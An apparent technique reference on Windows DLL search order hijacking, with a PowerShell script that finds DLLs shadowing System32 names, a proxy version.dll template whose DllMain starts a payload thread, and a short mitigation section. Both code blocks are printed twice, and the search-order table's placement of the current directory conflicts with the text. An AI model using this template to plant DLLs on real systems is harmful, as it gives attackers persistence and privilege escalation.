DLL Search Order Hijacking
Overview
The Windows PE loader resolves DLL names without full paths against a fixed search order:
application directory → %SYSTEM32% → %WINDOWS% → directories in %PATH%. A binary that
loads version.dll by name — without calling LoadLibraryExW with
LOAD_LIBRARY_SEARCH_SYSTEM32 — will load whatever version.dll appears first in that order.
If the application directory is user-writable, planting a DLL there installs persistence that executes inside a trusted, signed host process whenever it runs. No registry modification, no scheduled task, no elevated rights — just a file drop.
DLL hijacking is equally useful for privilege escalation when the vulnerable binary is a service or scheduled task running as SYSTEM. The distinction is whether the binary runs as the planting user (persistence) or a higher-privileged account (escalation).
The call chain
- 1identify a vulnerable loadFind a binary that loads a DLL by name without a full path and that runs from a user-writable directory.
- 2write malicious DLL to search pathDrop the hijacking DLL in the application directory or %APPDATA%, ahead of System32 in the search order.
- 3(optional) forward exportsRe-export all functions from the real DLL so the host application continues to work correctly.
- 4(trigger) application or service loadsThe loader resolves the DLL name, finds the planted copy first, and maps it into the host process.
Finding candidates
# Run Process Monitor with these filters to capture DLL load failures:
# Operation: Load Image
# Result: NAME NOT FOUND
# Path: ends with .dll
#
# Or enumerate app directories for DLLs that shadow System32 names:
$sys32 = Get-ChildItem C:\Windows\System32 -Filter *.dll | Select-Object -Expand Name
Get-ChildItem "C:\Program Files" -Recurse -Filter "*.dll" -ErrorAction SilentlyContinue |
Where-Object { $sys32 -contains $_.Name } |
Where-Object { $_.DirectoryName -notlike "*System32*" } |
Select-Object FullName, Name# Run Process Monitor with these filters to capture DLL load failures:
# Operation: Load Image
# Result: NAME NOT FOUND
# Path: ends with .dll
#
# Or enumerate app directories for DLLs that shadow System32 names:
$sys32 = Get-ChildItem C:\Windows\System32 -Filter *.dll | Select-Object -Expand Name
Get-ChildItem "C:\Program Files" -Recurse -Filter "*.dll" -ErrorAction SilentlyContinue |
Where-Object { $sys32 -contains $_.Name } |
Where-Object { $_.DirectoryName -notlike "*System32*" } |
Select-Object FullName, NameReference DLL (with export forwarding)
// Forward every export to the real DLL in System32.
// Generated by proxy_gen.py reading the target DLL's export table.
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(h);
// payload in a new thread so DllMain returns quickly
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, NULL);
}
return TRUE;
}// Forward every export to the real DLL in System32.
// Generated by proxy_gen.py reading the target DLL's export table.
#pragma comment(linker, "/export:GetFileVersionInfoA=C:\\Windows\\System32\\version.GetFileVersionInfoA")
#pragma comment(linker, "/export:GetFileVersionInfoSizeA=C:\\Windows\\System32\\version.GetFileVersionInfoSizeA")
#pragma comment(linker, "/export:VerQueryValueA=C:\\Windows\\System32\\version.VerQueryValueA")
#include <windows.h>
BOOL WINAPI DllMain(HINSTANCE h, DWORD reason, LPVOID lp) {
if (reason == DLL_PROCESS_ATTACH) {
DisableThreadLibraryCalls(h);
// payload in a new thread so DllMain returns quickly
CreateThread(NULL, 0, (LPTHREAD_START_ROUTINE)payload, NULL, 0, NULL);
}
return TRUE;
}Search order summary
| Order | Path | User-controllable? |
|---|---|---|
| 1 | Application directory | Often yes |
| 2 | %SYSTEM32% |
No |
| 3 | %WINDOWS% |
No |
| 4 | Current working directory | Sometimes |
| 5–8 | %PATH% entries |
Sometimes |
SafeDllSearchMode (on by default since Vista) demotes the current working directory to
position 8 but does not move the application directory — it stays at position 1.
Detection
The most scalable control is LOAD_LIBRARY_SEARCH_SYSTEM32 in every LoadLibraryEx call for
system DLLs and prohibiting user-writable directories in the %PATH% of privileged accounts.